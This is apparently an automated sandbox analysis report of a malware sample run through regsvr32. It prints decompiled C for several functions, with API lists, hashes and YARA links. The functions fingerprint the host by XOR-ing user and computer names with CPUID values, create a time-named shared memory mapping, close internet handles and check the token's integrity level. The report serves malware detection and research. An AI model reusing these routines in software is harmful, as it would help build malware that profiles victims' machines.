                    • Opcode ID: 5cad835d0a4f1f1424bac825c159be69d4ec4e6976c8fd5bc5a8354680b61825
                    • Instruction ID: 24a170aafa548c5fda95e4454f3d522267c2a47a15a80f712ce0a3e13301e522
                    • Opcode Fuzzy Hash: 5cad835d0a4f1f1424bac825c159be69d4ec4e6976c8fd5bc5a8354680b61825
                    • Instruction Fuzzy Hash: 30518B71419320AFD710BF158C44DABBBE8EB88730F544A1AF8A9D22A0D770C944CFB6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D71598 Relevance: 13.6, APIs: 9, Instructions: 81filetimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 216 d71598-d715ef GetSystemTimeAsFileTime _aulldiv _snwprintf 217 d715f6-d7160f CreateFileMappingW 216->217 218 d715f1 216->218 219 d71611-d7161a 217->219 220 d71659-d7165f GetLastError 217->220 218->217 222 d7161c-d71623 GetLastError 219->222 223 d7162a-d71638 MapViewOfFile 219->223 221 d71661-d71667 220->221 222->223 224 d71625-d71628 222->224 225 d7163a-d71646 223->225 226 d71648-d7164e GetLastError 223->226 227 d71650-d71657 CloseHandle 224->227 225->221 226->221 226->227 227->221
                    C-Code - Quality: 69%
                    			E00D71598(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L00D72250();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0xd741c4;
				_push(_t15 + 0xd75149);
				_push(_t15 + 0xd75048);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L00D7224A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0xd741c8, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}














                    0x00d71598
                    0x00d715a1
                    0x00d715a5
                    0x00d715ab
                    0x00d715b0
                    0x00d715b5
                    0x00d715b8
                    0x00d715bb
                    0x00d715c0
                    0x00d715c1
                    0x00d715c4
                    0x00d715cf
                    0x00d715d6
                    0x00d715da
                    0x00d715dc
                    0x00d715dd
                    0x00d715e0
                    0x00d715e5
                    0x00d715ef
                    0x00d715f1
                    0x00d715f1
                    0x00d71605
                    0x00d7160b
                    0x00d7160f
                    0x00d7165f
                    0x00d71611
                    0x00d7161a
                    0x00d71630
                    0x00d71638
                    0x00d7164a
                    0x00d7164e
                    0x00000000
                    0x00000000
                    0x00d7163a
                    0x00d7163d
                    0x00d71642
                    0x00d71644
                    0x00d71644
                    0x00d71625
                    0x00d71627
                    0x00d71650
                    0x00d71651
                    0x00d71651
                    0x00d7161a
                    0x00d71667

                    APIs
                    • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00D715A5
                    • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00D715BB
                    • _snwprintf.NTDLL ref: 00D715E0
                    • CreateFileMappingW.KERNELBASE(000000FF,00D741C8,00000004,00000000,?,?), ref: 00D71605
                    • GetLastError.KERNEL32 ref: 00D7161C
                    • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 00D71630
                    • GetLastError.KERNEL32 ref: 00D71648
                    • CloseHandle.KERNEL32(00000000), ref: 00D71651
                    • GetLastError.KERNEL32 ref: 00D71659
                    Memory Dump Source
                    • Source File: 00000003.00000002.637505273.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true
                    • Associated: 00000003.00000002.637505273.0000000000D75000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d70000_regsvr32.jbxd
                    Similarity
                    • API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                    • String ID:
                    • API String ID: 1724014008-0
                    • Opcode ID: 94b359e6a99e0d69362e3ea5625af6011850bd22a185906a239228b132187844
                    • Instruction ID: 4ba19c47f639c9e5b7a24f217303615453f270439306ed3026032b2ad1ee79bc
                    • Opcode Fuzzy Hash: 94b359e6a99e0d69362e3ea5625af6011850bd22a185906a239228b132187844
                    • Instruction Fuzzy Hash: BD21C9B6600204BFD711AFA8DC85EAE77ADEB48351F188125FA0DE7290F670DD858B70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D8415A Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 74%
                    			E00D8415A(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L00D882D4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0xd8a348; // 0x435d5a8
				_t5 = _t13 + 0xd8b7b4; // 0x50e8d5c
				_t6 = _t13 + 0xd8b644; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L00D87F3A();
				_t17 = CreateFileMappingW(0xffffffff, 0xd8a34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                    0x00d8415a
                    0x00d84162
                    0x00d84166
                    0x00d8416c
                    0x00d84171
                    0x00d84176
                    0x00d84179
                    0x00d8417c
                    0x00d84181
                    0x00d84182
                    0x00d84185
                    0x00d8418a
                    0x00d84191
                    0x00d8419b
                    0x00d8419d
                    0x00d8419e
                    0x00d841a1
                    0x00d841bd
                    0x00d841c3
                    0x00d841c7
                    0x00d84215
                    0x00d841c9
                    0x00d841d6
                    0x00d841e6
                    0x00d841ee
                    0x00d84200
                    0x00d84204
                    0x00000000
                    0x00000000
                    0x00d841f0
                    0x00d841f3
                    0x00d841f8
                    0x00d841fa
                    0x00d841fa
                    0x00d841d8
                    0x00d841da
                    0x00d84206
                    0x00d84207
                    0x00d84207
                    0x00d841d6
                    0x00d8421c

                    APIs
                    • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,00D825B1,?,?,4D283A53,?,?), ref: 00D84166
                    • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00D8417C
                    • _snwprintf.NTDLL ref: 00D841A1
                    • CreateFileMappingW.KERNELBASE(000000FF,00D8A34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 00D841BD
                    • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,00D825B1,?,?,4D283A53,?), ref: 00D841CF
                    • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00D841E6
                    • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,00D825B1,?,?,4D283A53), ref: 00D84207
                    • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,00D825B1,?,?,4D283A53,?), ref: 00D8420F
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                    • String ID:
                    • API String ID: 1814172918-0
                    • Opcode ID: c4054dd90afafedffc907c3892bef690f3de96b3c3ce50e16527b2abd9c72ff5
                    • Instruction ID: 9634632cd9db92228bab4f64428cad5dd4ff5b19cb842f3cce2e8ede0503d552
                    • Opcode Fuzzy Hash: c4054dd90afafedffc907c3892bef690f3de96b3c3ce50e16527b2abd9c72ff5
                    • Instruction Fuzzy Hash: FA21AF72A40305BBD721EBA8CC05FAE77B9AB84750F290021FA06E7290EB70D9058B74
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D83BD3 Relevance: 12.1, APIs: 8, Instructions: 103memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 237 d83bd3-d83be7 238 d83be9-d83bee 237->238 239 d83bf1-d83c03 call d871cd 237->239 238->239 242 d83c05-d83c15 GetUserNameW 239->242 243 d83c57-d83c64 239->243 244 d83c66-d83c7d GetComputerNameW 242->244 245 d83c17-d83c27 RtlAllocateHeap 242->245 243->244 246 d83cbb-d83cdf 244->246 247 d83c7f-d83c90 RtlAllocateHeap 244->247 245->244 248 d83c29-d83c36 GetUserNameW 245->248 247->246 249 d83c92-d83c9b GetComputerNameW 247->249 250 d83c38-d83c44 call d856b9 248->250 251 d83c46-d83c55 HeapFree 248->251 252 d83cac-d83cb5 HeapFree 249->252 253 d83c9d-d83ca9 call d856b9 249->253 250->251 251->244 252->246 253->252
                    C-Code - Quality: 96%
                    			E00D83BD3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0xd8a310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E00D871CD( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0xd8a344 ^ 0x6c7261ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0xd8a2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E00D856B9(_v8 + _v8, _t64);
							}
							HeapFree( *0xd8a2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0xd8a2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E00D856B9(_v8 + _v8, _t64);
						}
						HeapFree( *0xd8a2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                    0x00d83bd3
                    0x00d83bdb
                    0x00d83bdf
                    0x00d83be2
                    0x00d83be7
                    0x00d83be9
                    0x00d83bee
                    0x00d83bee
                    0x00d83bf4
                    0x00d83bf6
                    0x00d83c03
                    0x00d83c64
                    0x00d83c05
                    0x00d83c0a
                    0x00d83c10
                    0x00d83c15
                    0x00d83c23
                    0x00d83c27
                    0x00d83c36
                    0x00d83c3d
                    0x00d83c44
                    0x00d83c44
                    0x00d83c4f
                    0x00d83c4f
                    0x00d83c27
                    0x00d83c15
                    0x00d83c66
                    0x00d83c6c
                    0x00d83c76
                    0x00d83c78
                    0x00d83c7d
                    0x00d83c8c
                    0x00d83c90
                    0x00d83c9b
                    0x00d83ca2
                    0x00d83ca9
                    0x00d83ca9
                    0x00d83cb5
                    0x00d83cb5
                    0x00d83c90
                    0x00d83cc0
                    0x00d83cc2
                    0x00d83cc5
                    0x00d83cc7
                    0x00d83cca
                    0x00d83ccd
                    0x00d83cd7
                    0x00d83cdb
                    0x00d83cdf

                    APIs
                    • GetUserNameW.ADVAPI32(00000000,?), ref: 00D83C0A
                    • RtlAllocateHeap.NTDLL(00000000,?), ref: 00D83C21
                    • GetUserNameW.ADVAPI32(00000000,?), ref: 00D83C2E
                    • HeapFree.KERNEL32(00000000,00000000), ref: 00D83C4F
                    • GetComputerNameW.KERNEL32(00000000,00000000), ref: 00D83C76
                    • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00D83C8A
                    • GetComputerNameW.KERNEL32(00000000,00000000), ref: 00D83C97
                    • HeapFree.KERNEL32(00000000,00000000), ref: 00D83CB5
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: HeapName$AllocateComputerFreeUser
                    • String ID:
                    • API String ID: 3239747167-0
                    • Opcode ID: da1a4846356aae965a84bc1d651ed989e10ee5e58843068d0582246fb041f65b
                    • Instruction ID: dfca748548e3e5cccda849b778159ab5a431d5beef04a508e3c22f9d41f6787c
                    • Opcode Fuzzy Hash: da1a4846356aae965a84bc1d651ed989e10ee5e58843068d0582246fb041f65b
                    • Instruction Fuzzy Hash: B4310771A10309EFEB10EFA9DD81A6AB7F9FB48700F554469E545E3260E730EE119B21
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D84BE7 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 258 d84be7-d84bf2 259 d84bfe-d84c11 258->259 260 d84bf4-d84bf9 call d816b2 258->260 262 d84c1c-d84c21 259->262 263 d84c13-d84c1a InternetSetStatusCallback InternetCloseHandle 259->263 260->259 264 d84c2c-d84c31 262->264 265 d84c23-d84c2a InternetSetStatusCallback InternetCloseHandle 262->265 263->262 266 d84c3c-d84c47 264->266 267 d84c33-d84c3a InternetSetStatusCallback InternetCloseHandle 264->267 265->264 268 d84c49-d84c4a CloseHandle 266->268 269 d84c4c-d84c51 266->269 267->266 268->269 270 d84c53-d84c54 CloseHandle 269->270 271 d84c56-d84c5d 269->271 270->271 272 d84c6b-d84c70 271->272 273 d84c5f-d84c68 call d861da 271->273 275 d84c78-d84c7c 272->275 276 d84c72-d84c73 call d861da 272->276 273->272 277 d84c7e-d84c7f call d861da 275->277 278 d84c84-d84c89 275->278 276->275 277->278 282 d84c8b-d84c8c call d861da 278->282 283 d84c91-d84c93 278->283 282->283
                    C-Code - Quality: 93%
                    			E00D84BE7(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E00D816B2(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					CloseHandle(_t20);
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E00D861DA(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E00D861DA(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E00D861DA(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E00D861DA(_t46);
				}
				return _t24;
			}












                    0x00d84be7
                    0x00d84be7
                    0x00d84be9
                    0x00d84beb
                    0x00d84bf2
                    0x00d84bf9
                    0x00d84bf9
                    0x00d84bfe
                    0x00d84c01
                    0x00d84c08
                    0x00d84c11
                    0x00d84c15
                    0x00d84c1a
                    0x00d84c1a
                    0x00d84c1c
                    0x00d84c21
                    0x00d84c25
                    0x00d84c2a
                    0x00d84c2a
                    0x00d84c2c
                    0x00d84c31
                    0x00d84c35
                    0x00d84c3a
                    0x00d84c3a
                    0x00d84c3c
                    0x00d84c47
                    0x00d84c4a
                    0x00d84c4a
                    0x00d84c4c
                    0x00d84c51
                    0x00d84c54
                    0x00d84c54
                    0x00d84c56
                    0x00d84c5d
                    0x00d84c60
                    0x00d84c65
                    0x00d84c68
                    0x00d84c68
                    0x00d84c6b
                    0x00d84c70
                    0x00d84c73
                    0x00d84c73
                    0x00d84c78
                    0x00d84c7c
                    0x00d84c7f
                    0x00d84c7f
                    0x00d84c84
                    0x00d84c89
                    0x00000000
                    0x00d84c8c
                    0x00d84c93

                    APIs
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 00D84C15
                    • InternetCloseHandle.WININET(?), ref: 00D84C1A
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 00D84C25
                    • InternetCloseHandle.WININET(?), ref: 00D84C2A
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 00D84C35
                    • InternetCloseHandle.WININET(?), ref: 00D84C3A
                    • CloseHandle.KERNEL32(?,00000000,00000102,?,?,00D82248,?,?,74CF81D0,00000000,00000000), ref: 00D84C4A
                    • CloseHandle.KERNEL32(?,00000000,00000102,?,?,00D82248,?,?,74CF81D0,00000000,00000000), ref: 00D84C54
                      • Part of subcall function 00D816B2: WaitForMultipleObjects.KERNEL32(00000002,00D87C47,00000000,00D87C47,?,?,?,00D87C47,0000EA60), ref: 00D816CD
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Internet$CloseHandle$CallbackStatus$MultipleObjectsWait
                    • String ID:
                    • API String ID: 2824497044-0
                    • Opcode ID: f2052ab66ec5f67e7145b74a210bf1e3f68e3cda881c51040a9c18228cb270cd
                    • Instruction ID: 0345c1363d1ca79968bd6fac718a54db326644aa36bd2397d4883a73374ebe3b
                    • Opcode Fuzzy Hash: f2052ab66ec5f67e7145b74a210bf1e3f68e3cda881c51040a9c18228cb270cd
                    • Instruction Fuzzy Hash: BD11E7766017596BC630BFAADD88C1BB7EDEB443143594D19F089D3612CB24FC458B74
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D85E40 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 297 d85e40-d85e5b 298 d85efa-d85f06 297->298 299 d85e61-d85e7a OpenProcessToken 297->299 300 d85ef9 299->300 301 d85e7c-d85ea7 GetTokenInformation * 2 299->301 300->298 302 d85ea9-d85eb6 call d833dc 301->302 303 d85eef-d85ef8 CloseHandle 301->303 306 d85eb8-d85ec9 GetTokenInformation 302->306 307 d85eee 302->307 303->300 308 d85ee8-d85ee9 call d861da 306->308 309 d85ecb-d85ee5 GetSidSubAuthorityCount GetSidSubAuthority 306->309 307->303 308->307 309->308
                    C-Code - Quality: 100%
                    			E00D85E40(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0xd8a2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E00D833DC(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E00D861DA(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                    0x00d85e4d
                    0x00d85e54
                    0x00d85e5b
                    0x00d85e6f
                    0x00d85e7a
                    0x00d85e92
                    0x00d85e9f
                    0x00d85ea2
                    0x00d85ea7
                    0x00d85eb2
                    0x00d85eb6
                    0x00d85ec5
                    0x00d85ec9
                    0x00d85ee5
                    0x00d85ee5
                    0x00d85ee9
                    0x00d85ee9
                    0x00d85eee
                    0x00d85ef2
                    0x00d85ef8
                    0x00d85ef9
                    0x00d85f00
                    0x00d85f06

                    APIs
                    • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 00D85E72
                    • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 00D85E92
                    • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00D85EA2
                    • CloseHandle.KERNEL32(00000000), ref: 00D85EF2
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 00D85EC5
                    • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00D85ECD
                    • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 00D85EDD
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                    • String ID:
                    • API String ID: 1295030180-0
                    • Opcode ID: 9fd6e6108c2c602f24472824aba3b2fa82481c7edf65ed72d7b409b15feccdac
                    • Instruction ID: cfb5ea6d7e05f29e252725e73e8b6d90482c392fb975a705bc040820c26c2a02
                    • Opcode Fuzzy Hash: 9fd6e6108c2c602f24472824aba3b2fa82481c7edf65ed72d7b409b15feccdac
                    • Instruction Fuzzy Hash: 5D215975900209FFEB11EF94DC44EEEBBB9EB08304F1000A6F910E62A5CB718B55EB60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D86675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 64%
                    			E00D86675(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0xd8a348; // 0x435d5a8
				_t1 = _t9 + 0xd8b516; // 0x253d7325
				_t36 = 0;
				_t28 = E00D85815(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x50e9601
					_t40 = E00D833DC(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E00D85063(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E00D861DA(_t40);
						_t42 = E00D84AC7(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E00D861DA(_t36);
							_t36 = _t42;
						}
						_t43 = E00D82708(_t36, _t33);
						if(_t43 != 0) {
							E00D861DA(_t36);
							_t36 = _t43;
						}
					}
					E00D861DA(_t28);
				}
				return _t36;
			}
















                    0x00d86675
                    0x00d86678
                    0x00d86679
                    0x00d86680
                    0x00d86687
                    0x00d8668e
                    0x00d86692
                    0x00d86699
                    0x00d866a0
                    0x00d866a5
                    0x00d866ad
                    0x00d866b7
                    0x00d866bb
                    0x00d866bf
                    0x00d866c5
                    0x00d866ca
                    0x00d866d4
                    0x00d866da
                    0x00d866dc
                    0x00d866f3
                    0x00d866f7
                    0x00d866fa
                    0x00d866ff
                    0x00d866ff
                    0x00d86708
                    0x00d8670c
                    0x00d8670f
                    0x00d86714
                    0x00d86714
                    0x00d8670c
                    0x00d86717
                    0x00d8671c
                    0x00d86722

                    APIs
                      • Part of subcall function 00D85815: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00D8668E,253D7325,00000000,00000000,?,7491C740,00D83ECE), ref: 00D8587C
                      • Part of subcall function 00D85815: sprintf.NTDLL ref: 00D8589D
                    • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866A0
                    • lstrlen.KERNEL32(00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866A8
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • strcpy.NTDLL ref: 00D866BF
                    • lstrcat.KERNEL32(00000000,00000000), ref: 00D866CA
                      • Part of subcall function 00D85063: lstrlen.KERNEL32(00000000,00000000,00D83ECE,00000000,?,00D866D9,00000000,00D83ECE,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D85074
                      • Part of subcall function 00D861DA: RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,00D83ECE,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866E7
                      • Part of subcall function 00D84AC7: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,00D866F3,00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D84AD1
                      • Part of subcall function 00D84AC7: _snprintf.NTDLL ref: 00D84B2F
                    Strings
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
